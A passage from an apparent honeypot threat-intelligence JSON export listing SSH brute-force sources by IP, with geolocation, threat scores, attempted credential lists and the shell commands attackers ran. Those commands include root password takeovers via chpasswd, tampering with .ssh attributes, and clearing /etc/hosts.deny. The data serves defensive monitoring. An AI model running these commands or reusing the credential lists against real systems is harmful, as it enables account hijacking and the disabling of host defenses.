        "Cowrie": 357,
        "Suricata": 78
      }
    },
    "83.111.76.195": {
      "attack_count": 306,
      "first_seen": "2026-05-13T14:36:00.082Z",
      "last_seen": "2026-05-13T15:13:54.182Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ali",
        "ankit",
        "dev",
        "mom",
        "retag",
        "titus",
        "uzivatel",
        "work",
        "yi",
        "zcm",
        "zhangyue",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "A@123456",
        "Qwe123321",
        "abcd1234",
        "ankit",
        "devdev",
        "mom",
        "novell",
        "password01!",
        "password1",
        "test12345",
        "titus123",
        "uzivatel",
        "virus",
        "work123",
        "zcm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nCETiQ9Pwstiw\\nCETiQ9Pwstiw\\n\"|passwd",
        "echo \"password1\\nEugiUZiFUS6w\\nEugiUZiFUS6w\\n\"|passwd",
        "echo \"root:z52BL2Kfmywg\"|chpasswd|bash",
        "echo -e \"12345678\\nCETiQ9Pwstiw\\nCETiQ9Pwstiw\"|passwd|bash",
        "echo -e \"password1\\nEugiUZiFUS6w\\nEugiUZiFUS6w\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:36:00.082000+00:00",
        "last_seen_30d": "2026-05-13T15:15:03.940000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 60
      }
    },
    "43.128.111.187": {
      "attack_count": 304,
      "first_seen": "2026-05-17T12:17:27.906Z",
      "last_seen": "2026-05-17T12:47:39.748Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "113",
        "4r3e2w1q",
        "8675309",
        "QAZ!@#123",
        "ZXCasdQWE",
        "amir123",
        "anders",
        "boston",
        "canada",
        "costas",
        "damian01",
        "elevator",
        "gerbera",
        "httpfs",
        "huawei123",
        "oracleadmin",
        "password@1",
        "qwer1234%^"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IVwTFbRiXmoi\"|chpasswd|bash",
        "echo \"root:e61UldHwWzBd\"|chpasswd|bash",
        "echo \"root:znTkb7aU091P\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:17:27.906000+00:00",
        "last_seen_30d": "2026-05-17T12:48:42.347000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "103.196.152.135": {
      "attack_count": 248,
      "first_seen": "2026-05-03T13:19:04.492Z",
      "last_seen": "2026-05-03T13:29:49.135Z",
      "sessions": 124,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 133800,
      "as_org": "PT Biznet Gio Nusantara",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:19:04.492000+00:00",
        "last_seen_30d": "2026-05-03T13:30:56.270000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 125
      }
    },
    "223.197.186.7": {
      "attack_count": 243,
      "first_seen": "2026-05-21T02:06:45.677Z",
      "last_seen": "2026-05-21T02:26:50.328Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ganesh",
        "sonar",
        "aapanel",
        "kakao",
        "manager",
        "nodemon",
        "qingcloud",
        "rajesh",
        "test",
        "wangmin",
        "yangwei",
        "yin"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "19890101",
        "2003",
        "Dd112211",
        "aapanel",
        "ganesh",
        "kakao",
        "meilishuo",
        "money",
        "nodemon",
        "password",
        "qingcloud",
        "rajesh",
        "server2024",
        "sonar",
        "tielu",
        "wzry888",
        "xserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ganesh\\nt7RwMo2u61Cm\\nt7RwMo2u61Cm\\n\"|passwd",
        "echo \"sonar\\nUjvUS7TmXsFN\\nUjvUS7TmXsFN\\n\"|passwd",
        "echo -e \"ganesh\\nt7RwMo2u61Cm\\nt7RwMo2u61Cm\"|passwd|bash",
        "echo -e \"sonar\\nUjvUS7TmXsFN\\nUjvUS7TmXsFN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:06:45.677000+00:00",
        "last_seen_30d": "2026-05-21T02:27:59.402000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 54
      }
    },
    "43.162.92.13": {
      "attack_count": 241,
      "first_seen": "2026-05-19T22:05:48.202Z",
      "last_seen": "2026-05-19T22:33:13.366Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789qq",
        "123abc!!!",
        "1qw23er4",
        "252569",
        "Huawei123!",
        "abhijit",
        "asterisk123",
        "buenavista",
        "claude",
        "freddy",
        "gilberto",
        "postgres321",
        "pulamea",
        "root321",
        "rsyncd",
        "sabrina",
        "soho",
        "tomas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:rn9JbbkkH0Ob\"|chpasswd|bash",
        "echo \"root:tkCGvVai8fns\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:05:48.202000+00:00",
        "last_seen_30d": "2026-05-19T22:34:19.131000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 55
      }
    },
    "43.156.111.59": {
      "attack_count": 236,
      "first_seen": "2026-05-17T08:54:00.638Z",
      "last_seen": "2026-05-17T09:20:45.974Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "123567",
        "123Qwe123",
        "1918",
        "1qaz2wsx@",
        "abc123+-*/",
        "brahim",
        "corky",
        "deepika",
        "gavin",
        "haha123",
        "its",
        "meet",
        "qazwsxedc",
        "rishi",
        "song",
        "student123",
        "teste"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:aRxJeMdxsPk2\"|chpasswd|bash",
        "echo \"root:w800Se1WdOK8\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:54:00.638000+00:00",
        "last_seen_30d": "2026-05-17T09:21:47.973000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "103.186.31.66": {
      "attack_count": 218,
      "first_seen": "2026-05-02T06:50:21.074Z",
      "last_seen": "2026-05-02T07:24:44.437Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin123",
        "escaner",
        "testftp",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "101010",
        "11111111",
        "1234567890z",
        "1234567Aa",
        "123456@@",
        "123456@aa",
        "3245gs5662d34",
        "345gs5662d34",
        "5tgb%TGB",
        "Cc123456789",
        "Diamond1",
        "Minecraft1",
        "PASSWORD",
        "Password.",
        "Qwer1234@",
        "Tc123456",
        "Tt123456!",
        "USER",
        "ab@123456",
        "abc123456!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BGCETpDDwtHa\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141892,
      "as_org": "CV Andhika Pratama Sanggoro",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:50:21.074000+00:00",
        "last_seen_30d": "2026-05-02T07:25:49.669000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "41.139.202.227": {
      "attack_count": 213,
      "first_seen": "2026-05-15T16:44:43.518Z",
      "last_seen": "2026-05-15T17:35:27.921Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jcon0r73",
        "jflhi5za",
        "linux",
        "luz",
        "nominatim",
        "pakchoi",
        "readonly",
        "rsacgo23",
        "seekcy",
        "shrvn6xd",
        "ubuntu",
        "whmapi",
        "wow"
      ],
      "passwords_attempted": [
        "linux123",
        "!@#qweQWE",
        "!QA@WS3ed",
        "123",
        "123456",
        "123456aS",
        "123Qwe123C",
        "3245gs5662d34",
        "345gs5662d34",
        "8.5vHtXSSViFDvKi+TB.",
        "Joysuch@Locate2025",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "Mf123456",
        "Su123123",
        "Ubuntu2023",
        "Xy@123456",
        "YourPassword@6942",
        "Zxcv1234",
        "abc123456..."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Lk5kSTae4jqR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 285,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T16:44:43.518000+00:00",
        "last_seen_30d": "2026-05-15T17:36:30.516000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 72
      }
    },
    "216.133.145.157": {
      "attack_count": 192,
      "first_seen": "2026-05-22T20:07:12.876Z",
      "last_seen": "2026-05-22T21:35:58.859Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testuser",
        "dani",
        "mssql",
        "nominatim",
        "pun",
        "satis",
        "soporte",
        "testtest"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "123456aA.",
        "A@12345678",
        "Admin@2026",
        "dani",
        "pun",
        "satis",
        "testtest",
        "testuserpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:RodpeHwxwawy\"|chpasswd|bash",
        "echo \"testuserpass\\nrV5B9oe7jp0L\\nrV5B9oe7jp0L\\n\"|passwd",
        "echo -e \"testuserpass\\nrV5B9oe7jp0L\\nrV5B9oe7jp0L\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:07:12.876000+00:00",
        "last_seen_30d": "2026-05-22T21:36:59.295000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 41
      }
    },
    "89.152.179.132": {
      "attack_count": 168,
      "first_seen": "2026-05-12T19:15:53.291Z",
      "last_seen": "2026-05-12T20:19:16.931Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "111222111",
        "1948",
        "3245gs5662d34",
        "345gs5662d34",
        "@#$%&",
        "L1opardo",
        "YunNanLT",
        "australia",
        "dev123456",
        "diablo",
        "hadoop",
        "hb123456",
        "jeanette",
        "monika",
        "monterey",
        "nj123",
        "officepass",
        "olivia",
        "ooo000",
        "pascal"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:5knyIkUUJsaZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "\u00c1rvore",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:15:53.291000+00:00",
        "last_seen_30d": "2026-05-12T20:20:20.009000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 56
      }
    },
    "104.168.169.128": {
      "attack_count": 144,
      "first_seen": "2026-05-22T17:01:57.892Z",
      "last_seen": "2026-05-22T17:47:50.556Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "es",
        "345gs5662d34",
        "auser",
        "caja01",
        "ftpuser",
        "postgres",
        "prod",
        "rdpuser",
        "test",
        "tester",
        "travis",
        "user",
        "viewer"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "1",
        "123123a@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Admin@123456789",
        "Pa$$w0rd",
        "Password",
        "es@123",
        "prod123",
        "supersecret",
        "test123",
        "viewer"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"es@123\\nbTIrVbV4q2vq\\nbTIrVbV4q2vq\\n\"|passwd",
        "echo -e \"es@123\\nbTIrVbV4q2vq\\nbTIrVbV4q2vq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54290,
      "as_org": "Hostwinds LLC.",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:01:57.892000+00:00",
        "last_seen_30d": "2026-05-22T17:48:52.876000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "104.233.206.43": {
      "attack_count": 144,
      "first_seen": "2026-05-23T18:38:51.761Z",
      "last_seen": "2026-05-23T19:27:06.075Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "appuser",
        "odoo",
        "root",
        "ubuntu",
        "345gs5662d34",
        "ajay",
        "alex",
        "estest",
        "ftpuser",
        "jhlee",
        "sklep",
        "steam",
        "tecnopos"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "999999",
        "Aa@12345",
        "ajay",
        "estest",
        "ftpuser2026",
        "jhlee",
        "odoo@2025",
        "q1w2e3r4t5y6u7",
        "sklep",
        "steam123",
        "zs123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\nAYNVq3xdGS7y\\nAYNVq3xdGS7y\\n\"|passwd",
        "echo -e \"1\\nAYNVq3xdGS7y\\nAYNVq3xdGS7y\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54600,
      "as_org": "PEG TECH INC",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
